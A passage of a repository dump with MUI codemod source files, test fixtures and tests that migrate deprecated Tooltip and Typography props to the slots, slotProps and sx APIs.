});\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/index.js",
    "content": "export { default } from './tooltip-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/test-cases/actual.js",
    "content": "import Tooltip from '@mui/material/Tooltip';\nimport { Tooltip as MyTooltip } from '@mui/material';\n\n<Tooltip\n  components={{\n    Arrow: ComponentsArrow,\n    Popper: ComponentsPopper,\n    Tooltip: ComponentsTooltip,\n    Transition: ComponentsTransition\n  }}\n  componentsProps={{\n    arrow: componentsArrowProps,\n    popper: componentsPopperProps,\n    tooltip: componentsTooltipProps,\n    transition: componentsTransitionProps\n  }}\n/>;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip }}\n  components={{ Arrow: ComponentsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps }}\n  componentsProps={{ arrow: componentsArrowProps }}\n/>;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  components={{ Arrow: ComponentsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps, arrow: slotsArrowProps }}\n  componentsProps={{ arrow: componentsArrowProps }}\n/>;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  components={{ Arrow: ComponentsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps, arrow: slotsArrowProps }}\n  componentsProps={{ arrow: componentsArrowProps, tooltip: componentsTooltipProps}}\n/>;\n<Tooltip\n  slots={{\n    arrow: SlotsArrow,\n    popper: SlotsPopper,\n    tooltip: SlotsTooltip,\n    transition: SlotsTransition\n  }}\n  components={{\n    Arrow: ComponentsArrow,\n    Popper: ComponentsPopper,\n    Tooltip: ComponentsTooltip,\n    Transition: ComponentsTransition\n  }}\n  slotProps={{\n    arrow: slotsArrowProps,\n    popper: slotsPopperProps,\n    tooltip: slotsTooltipProps,\n    transition: slotsTransitionProps\n  }}\n  componentsProps={{\n    arrow: componentsArrowProps,\n    popper: componentsPopperProps,\n    tooltip: componentsTooltipProps,\n    transition: componentsTransitionProps\n  }}\n/>;\n\n<Tooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<Tooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    tooltip: { height: 20 }\n  }}\n  slots={{\n    tooltip: \"div\",\n  }}\n/>;\n\n<MyTooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<CustomTooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/test-cases/expected.js",
    "content": "import Tooltip from '@mui/material/Tooltip';\nimport { Tooltip as MyTooltip } from '@mui/material';\n\n<Tooltip\n  slots={{\n    arrow: ComponentsArrow,\n    popper: ComponentsPopper,\n    tooltip: ComponentsTooltip,\n    transition: ComponentsTransition\n  }}\n  slotProps={{\n    arrow: componentsArrowProps,\n    popper: componentsPopperProps,\n    tooltip: componentsTooltipProps,\n    transition: componentsTransitionProps\n  }}\n/>;\n<Tooltip\n  slots={{\n    tooltip: SlotsTooltip,\n    arrow: ComponentsArrow\n  }}\n  slotProps={{\n    tooltip: slotsTooltipProps,\n    arrow: componentsArrowProps\n  }} />;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps, arrow: {\n    ...componentsArrowProps,\n    ...slotsArrowProps\n  } }} />;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  slotProps={{ arrow: {\n    ...componentsArrowProps,\n    ...slotsArrowProps\n  }, tooltip: {\n    ...componentsTooltipProps,\n    ...slotsTooltipProps\n  } }} />;\n<Tooltip\n  slots={{\n    arrow: SlotsArrow,\n    popper: SlotsPopper,\n    tooltip: SlotsTooltip,\n    transition: SlotsTransition\n  }}\n  slotProps={{\n    arrow: {\n      ...componentsArrowProps,\n      ...slotsArrowProps\n    },\n    popper: {\n      ...componentsPopperProps,\n      ...slotsPopperProps\n    },\n    tooltip: {\n      ...componentsTooltipProps,\n      ...slotsTooltipProps\n    },\n    transition: {\n      ...componentsTransitionProps,\n      ...slotsTransitionProps\n    }\n  }} />;\n\n<Tooltip\n  slots={{\n    popper: CustomPopper,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    popper: { disablePortal: true },\n    transition: { timeout: 200 }\n  }} />;\n\n<Tooltip\n  slotProps={{\n    tooltip: { height: 20 },\n    popper: { disablePortal: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    tooltip: \"div\",\n    popper: CustomPopper,\n    transition: CustomTransition\n  }} />;\n\n<MyTooltip\n  slots={{\n    popper: CustomPopper,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    popper: { disablePortal: true },\n    transition: { timeout: 200 }\n  }} />;\n\n<CustomTooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/test-cases/package.actual.js",
    "content": "import Tooltip from '@org/ui/material/Tooltip';\nimport { Tooltip as MyTooltip } from '@org/ui/material';\n\n<Tooltip\n  components={{\n    Arrow: ComponentsArrow,\n    Popper: ComponentsPopper,\n    Tooltip: ComponentsTooltip,\n    Transition: ComponentsTransition\n  }}\n  componentsProps={{\n    arrow: componentsArrowProps,\n    popper: componentsPopperProps,\n    tooltip: componentsTooltipProps,\n    transition: componentsTransitionProps\n  }}\n/>;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip }}\n  components={{ Arrow: ComponentsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps }}\n  componentsProps={{ arrow: componentsArrowProps }}\n/>;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  components={{ Arrow: ComponentsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps, arrow: slotsArrowProps }}\n  componentsProps={{ arrow: componentsArrowProps }}\n/>;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  components={{ Arrow: ComponentsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps, arrow: slotsArrowProps }}\n  componentsProps={{ arrow: componentsArrowProps, tooltip: componentsTooltipProps}}\n/>;\n<Tooltip\n  slots={{\n    arrow: SlotsArrow,\n    popper: SlotsPopper,\n    tooltip: SlotsTooltip,\n    transition: SlotsTransition\n  }}\n  components={{\n    Arrow: ComponentsArrow,\n    Popper: ComponentsPopper,\n    Tooltip: ComponentsTooltip,\n    Transition: ComponentsTransition\n  }}\n  slotProps={{\n    arrow: slotsArrowProps,\n    popper: slotsPopperProps,\n    tooltip: slotsTooltipProps,\n    transition: slotsTransitionProps\n  }}\n  componentsProps={{\n    arrow: componentsArrowProps,\n    popper: componentsPopperProps,\n    tooltip: componentsTooltipProps,\n    transition: componentsTransitionProps\n  }}\n/>;\n\n<Tooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<Tooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    tooltip: { height: 20 }\n  }}\n  slots={{\n    tooltip: \"div\",\n  }}\n/>;\n\n<MyTooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<CustomTooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/test-cases/package.expected.js",
    "content": "import Tooltip from '@org/ui/material/Tooltip';\nimport { Tooltip as MyTooltip } from '@org/ui/material';\n\n<Tooltip\n  slots={{\n    arrow: ComponentsArrow,\n    popper: ComponentsPopper,\n    tooltip: ComponentsTooltip,\n    transition: ComponentsTransition\n  }}\n  slotProps={{\n    arrow: componentsArrowProps,\n    popper: componentsPopperProps,\n    tooltip: componentsTooltipProps,\n    transition: componentsTransitionProps\n  }}\n/>;\n<Tooltip\n  slots={{\n    tooltip: SlotsTooltip,\n    arrow: ComponentsArrow\n  }}\n  slotProps={{\n    tooltip: slotsTooltipProps,\n    arrow: componentsArrowProps\n  }} />;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  slotProps={{ tooltip: slotsTooltipProps, arrow: {\n    ...componentsArrowProps,\n    ...slotsArrowProps\n  } }} />;\n<Tooltip\n  slots={{ tooltip: SlotsTooltip, arrow: SlotsArrow }}\n  slotProps={{ arrow: {\n    ...componentsArrowProps,\n    ...slotsArrowProps\n  }, tooltip: {\n    ...componentsTooltipProps,\n    ...slotsTooltipProps\n  } }} />;\n<Tooltip\n  slots={{\n    arrow: SlotsArrow,\n    popper: SlotsPopper,\n    tooltip: SlotsTooltip,\n    transition: SlotsTransition\n  }}\n  slotProps={{\n    arrow: {\n      ...componentsArrowProps,\n      ...slotsArrowProps\n    },\n    popper: {\n      ...componentsPopperProps,\n      ...slotsPopperProps\n    },\n    tooltip: {\n      ...componentsTooltipProps,\n      ...slotsTooltipProps\n    },\n    transition: {\n      ...componentsTransitionProps,\n      ...slotsTransitionProps\n    }\n  }} />;\n\n<Tooltip\n  slots={{\n    popper: CustomPopper,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    popper: { disablePortal: true },\n    transition: { timeout: 200 }\n  }} />;\n\n<Tooltip\n  slotProps={{\n    tooltip: { height: 20 },\n    popper: { disablePortal: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    tooltip: \"div\",\n    popper: CustomPopper,\n    transition: CustomTransition\n  }} />;\n\n<MyTooltip\n  slots={{\n    popper: CustomPopper,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    popper: { disablePortal: true },\n    transition: { timeout: 200 }\n  }} />;\n\n<CustomTooltip\n  PopperComponent={CustomPopper}\n  TransitionComponent={CustomTransition}\n  PopperProps={{ disablePortal: true }}\n  TransitionProps={{ timeout: 200 }}\n/>\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiTooltip: {\n    defaultProps: {\n      components: { Arrow: ComponentsArrow },\n      componentsProps: { arrow: componentsArrowProps },\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      components: { Arrow: ComponentsArrow },\n      slots: { tooltip: SlotsTooltip },\n      componentsProps: { arrow: componentsArrowProps },\n      slotProps: { tooltip: slotsTooltipProps },\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      components: { Arrow: ComponentsArrow },\n      slots: { tooltip: SlotsTooltip, arrow: SlotsArrow },\n      componentsProps: { arrow: componentsArrowProps },\n      slotProps: { tooltip: slotsTooltipProps, arrow: slotsArrowProps },\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      components: { Arrow: ComponentsArrow },\n      slots: { tooltip: SlotsTooltip, arrow: SlotsArrow },\n      componentsProps: { arrow: componentsArrowProps, tooltip: componentsTooltipProps },\n      slotProps: { tooltip: slotsTooltipProps, arrow: slotsArrowProps },\n    },\n  },\n});\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      PopperComponent: CustomPopper,\n      TransitionComponent: CustomTransition,\n      PopperProps: { disablePortal: true },\n      TransitionProps: { timeout: 200 },\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      PopperComponent: CustomPopper,\n      TransitionComponent: CustomTransition,\n      PopperProps: { disablePortal: true },\n      TransitionProps: { timeout: 200 },\n      slotProps: {\n        tooltip: { height: 20 }\n      },\n      slots: {\n        tooltip: \"div\",\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiTooltip: {\n    defaultProps: {\n      slots: {\n        arrow: ComponentsArrow\n      },\n\n      slotProps: {\n        arrow: componentsArrowProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      slots: {\n        arrow: ComponentsArrow,\n        tooltip: SlotsTooltip\n      },\n\n      slotProps: {\n        arrow: componentsArrowProps,\n        tooltip: slotsTooltipProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      slots: {\n        arrow: SlotsArrow,\n        tooltip: SlotsTooltip\n      },\n\n      slotProps: {\n        arrow: {\n          ...componentsArrowProps,\n          ...slotsArrowProps\n        },\n\n        tooltip: slotsTooltipProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      slots: {\n        arrow: SlotsArrow,\n        tooltip: SlotsTooltip\n      },\n\n      slotProps: {\n        arrow: {\n          ...componentsArrowProps,\n          ...slotsArrowProps\n        },\n\n        tooltip: {\n          ...componentsTooltipProps,\n          ...slotsTooltipProps\n        }\n      }\n    },\n  },\n});\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      slots: {\n        popper: CustomPopper,\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        popper: { disablePortal: true },\n        transition: { timeout: 200 }\n      }\n    },\n  },\n});\n\nfn({\n  MuiTooltip: {\n    defaultProps: {\n      slotProps: {\n        tooltip: { height: 20 },\n        popper: { disablePortal: true },\n        transition: { timeout: 200 }\n      },\n\n      slots: {\n        tooltip: \"div\",\n        popper: CustomPopper,\n        transition: CustomTransition\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/tooltip-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\nimport movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tooltip',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tooltip',\n    propName: 'PopperComponent',\n    slotName: 'popper',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tooltip',\n    propName: 'PopperProps',\n    slotName: 'popper',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tooltip',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Tooltip',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tooltip-props/tooltip-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './tooltip-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'tooltip-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/index.js",
    "content": "export { default } from './typography-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/test-cases/actual.js",
    "content": "import Typography from '@mui/material/Typography';\nimport { Typography as MyTypography } from '@mui/material';\n\n<Typography />;\n<MyTypography />;\n<Typography className=\"my-class\" />;\n<MyTypography className=\"my-class\" />;\n<Typography paragraph />;\n<MyTypography paragraph />;\n<Typography paragraph className=\"my-class\" />;\n<MyTypography paragraph className=\"my-class\" />;\n<Typography paragraph={false} className=\"my-class\" />;\n<MyTypography paragraph={false} className=\"my-class\" />;\n<Typography paragraph={true} className=\"my-class\" />;\n<MyTypography paragraph={true} className=\"my-class\" />;\n<Typography paragraph={paragraph} className=\"my-class\" />;\n<MyTypography paragraph={paragraph} className=\"my-class\" />;\n<Typography paragraph sx={{ marginBottom: \"32px\" }} />;\n<MyTypography paragraph sx={{ marginBottom: \"32px\" }} />;\n<Typography paragraph sx={{ mb: \"32px\" }} />;\n<MyTypography paragraph sx={{ mb: \"32px\" }} />;\n<Typography paragraph sx={{ color: \"black\" }} />;\n<MyTypography paragraph sx={{ color: \"black\" }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/test-cases/expected.js",
    "content": "import Typography from '@mui/material/Typography';\nimport { Typography as MyTypography } from '@mui/material';\n\n<Typography />;\n<MyTypography />;\n<Typography className=\"my-class\" />;\n<MyTypography className=\"my-class\" />;\n<Typography sx={{\n  marginBottom: \"16px\"\n}} />;\n<MyTypography sx={{\n  marginBottom: \"16px\"\n}} />;\n<Typography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<MyTypography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<Typography className=\"my-class\" />;\n<MyTypography className=\"my-class\" />;\n<Typography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<MyTypography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<Typography className=\"my-class\" sx={paragraph ? {\n  marginBottom: \"16px\"\n} : undefined} />;\n<MyTypography className=\"my-class\" sx={paragraph ? {\n  marginBottom: \"16px\"\n} : undefined} />;\n<Typography sx={{ marginBottom: \"32px\" }} />;\n<MyTypography sx={{ marginBottom: \"32px\" }} />;\n<Typography sx={{ mb: \"32px\" }} />;\n<MyTypography sx={{ mb: \"32px\" }} />;\n<Typography\n  sx={{\n    color: \"black\",\n    marginBottom: \"16px\"\n  }} />;\n<MyTypography\n  sx={{\n    color: \"black\",\n    marginBottom: \"16px\"\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/test-cases/package.actual.js",
    "content": "import Typography from '@org/ui/material/Typography';\nimport { Typography as MyTypography } from '@org/ui/material';\n\n<Typography />;\n<MyTypography />;\n<Typography className=\"my-class\" />;\n<MyTypography className=\"my-class\" />;\n<Typography paragraph />;\n<MyTypography paragraph />;\n<Typography paragraph className=\"my-class\" />;\n<MyTypography paragraph className=\"my-class\" />;\n<Typography paragraph={false} className=\"my-class\" />;\n<MyTypography paragraph={false} className=\"my-class\" />;\n<Typography paragraph={true} className=\"my-class\" />;\n<MyTypography paragraph={true} className=\"my-class\" />;\n<Typography paragraph={paragraph} className=\"my-class\" />;\n<MyTypography paragraph={paragraph} className=\"my-class\" />;\n<Typography paragraph sx={{ marginBottom: \"32px\" }} />;\n<MyTypography paragraph sx={{ marginBottom: \"32px\" }} />;\n<Typography paragraph sx={{ mb: \"32px\" }} />;\n<MyTypography paragraph sx={{ mb: \"32px\" }} />;\n<Typography paragraph sx={{ color: \"black\" }} />;\n<MyTypography paragraph sx={{ color: \"black\" }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/test-cases/package.expected.js",
    "content": "import Typography from '@org/ui/material/Typography';\nimport { Typography as MyTypography } from '@org/ui/material';\n\n<Typography />;\n<MyTypography />;\n<Typography className=\"my-class\" />;\n<MyTypography className=\"my-class\" />;\n<Typography sx={{\n  marginBottom: \"16px\"\n}} />;\n<MyTypography sx={{\n  marginBottom: \"16px\"\n}} />;\n<Typography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<MyTypography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<Typography className=\"my-class\" />;\n<MyTypography className=\"my-class\" />;\n<Typography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<MyTypography className=\"my-class\" sx={{\n  marginBottom: \"16px\"\n}} />;\n<Typography className=\"my-class\" sx={paragraph ? {\n  marginBottom: \"16px\"\n} : undefined} />;\n<MyTypography className=\"my-class\" sx={paragraph ? {\n  marginBottom: \"16px\"\n} : undefined} />;\n<Typography sx={{ marginBottom: \"32px\" }} />;\n<MyTypography sx={{ marginBottom: \"32px\" }} />;\n<Typography sx={{ mb: \"32px\" }} />;\n<MyTypography sx={{ mb: \"32px\" }} />;\n<Typography\n  sx={{\n    color: \"black\",\n    marginBottom: \"16px\"\n  }} />;\n<MyTypography\n  sx={{\n    color: \"black\",\n    marginBottom: \"16px\"\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiTypography: {\n    defaultProps: {},\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\",\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph: false,\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph: false,\n      className: \"my-class\",\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph: true,\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph: true,\n      className: \"my-class\",\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph,\n      className: \"my-class\",\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph,\n      className: \"my-class\",\n      sx: {\n        marginBottom: \"32px\",\n      },\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph,\n      className: \"my-class\",\n      sx: {\n        mb: \"32px\",\n      },\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      paragraph,\n      className: \"my-class\",\n      sx: {\n        color: \"black\",\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiTypography: {\n    defaultProps: {},\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\",\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {},\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\"\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      sx: {\n        marginBottom: \"16px\"\n      },\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\",\n      sx: {\n        marginBottom: \"16px\"\n      },\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\",\n      sx: {\n        marginBottom: \"16px\"\n      },\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\",\n\n      sx: {\n        marginBottom: \"32px\",\n      }\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\",\n\n      sx: {\n        mb: \"32px\",\n      }\n    },\n  },\n});\nfn({\n  MuiTypography: {\n    defaultProps: {\n      className: \"my-class\",\n\n      sx: {\n        color: \"black\",\n        marginBottom: \"16px\"\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/typography-props.js",
    "content": "import appendAttribute from '../../util/appendAttribute';\nimport assignObject from '../../util/assignObject';\nimport findComponentJSX from '../../util/findComponentJSX';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  findComponentJSX(\n    j,\n    { root, packageName: options.packageName, componentName: 'Typography' },\n    (elementPath) => {\n      const paragraphProp = elementPath.node.openingElement.attributes.find(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'paragraph',\n      );\n\n      if (!paragraphProp) {\n        return;\n      }\n\n      elementPath.node.openingElement.attributes =\n        elementPath.node.openingElement.attributes.filter((attr) => {\n          if (attr.type === 'JSXAttribute' && attr.name.name === 'paragraph') {\n            return false;\n          }\n          return true;\n        });\n\n      const isParagraphPropPresent = paragraphProp.value?.expression.value !== false;\n\n      if (!isParagraphPropPresent) {\n        return;\n      }\n\n      const isParagraphPropTrue =\n        paragraphProp.value == null || paragraphProp.value.expression.value === true;\n      const paragraphExpression = (expression) =>\n        isParagraphPropTrue\n          ? expression\n          : j.conditionalExpression(\n              paragraphProp.value.expression,\n              expression,\n              j.identifier('undefined'),\n            );\n\n      const sxIndex = elementPath.node.openingElement.attributes.findIndex(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'sx',\n      );\n      if (sxIndex === -1) {\n        appendAttribute(j, {\n          target: elementPath.node,\n          attributeName: 'sx',\n          expression: paragraphExpression(\n            j.objectExpression([j.objectProperty(j.identifier('marginBottom'), j.literal('16px'))]),\n          ),\n        });\n      } else {\n        const hasMarginBottom = elementPath.node.openingElement.attributes[\n          sxIndex\n        ].value.expression.properties.some(\n          (key) => key.key.name === 'marginBottom' || key.key.name === 'mb',\n        );\n\n        if (!hasMarginBottom) {\n          assignObject(j, {\n            target: elementPath.node.openingElement.attributes[sxIndex],\n            key: 'marginBottom',\n            expression: paragraphExpression(j.literal('16px')),\n          });\n        }\n      }\n    },\n  );\n\n  root.find(j.ObjectProperty, { key: { name: 'MuiTypography' } }).forEach((path) => {\n    const defaultPropsObject = path.value.value.properties.find(\n      (key) => key.key.name === 'defaultProps',\n    );\n\n    const paragraphProp = defaultPropsObject.value.properties.find(\n      (prop) => prop.key.name === 'paragraph',\n    );\n\n    if (!paragraphProp) {\n      return;\n    }\n\n    defaultPropsObject.value.properties = defaultPropsObject.value.properties.filter(\n      (prop) => !['paragraph'].includes(prop?.key?.name),\n    );\n\n    const isParagraphPropTruthy = paragraphProp.value?.value !== false;\n\n    if (!isParagraphPropTruthy) {\n      return;\n    }\n\n    const sxIndex = defaultPropsObject.value.properties.findIndex((prop) => prop.key.name === 'sx');\n\n    if (sxIndex === -1) {\n      defaultPropsObject.value.properties.push(\n        j.objectProperty(\n          j.identifier('sx'),\n          j.objectExpression([j.objectProperty(j.identifier('marginBottom'), j.literal('16px'))]),\n        ),\n      );\n    } else {\n      const hasMarginBottom = defaultPropsObject.value.properties[sxIndex].value.properties.some(\n        (key) => key.key.name === 'marginBottom' || key.key.name === 'mb',\n      );\n\n      if (!hasMarginBottom) {\n        defaultPropsObject.value.properties[sxIndex].value.properties.push(\n          j.objectProperty(j.identifier('marginBottom'), j.literal('16px')),\n        );\n      }\n    }\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/typography-props/typography-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './typography-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('typography-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('actual.js should not be equal to expected.js', () => {\n        const actual = read('./test-cases/actual.js');\n        const expected = read('./test-cases/expected.js');\n        expect(actual).not.to.equal(expected);\n      });\n    });\n\n    describe('[theme] typography-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should 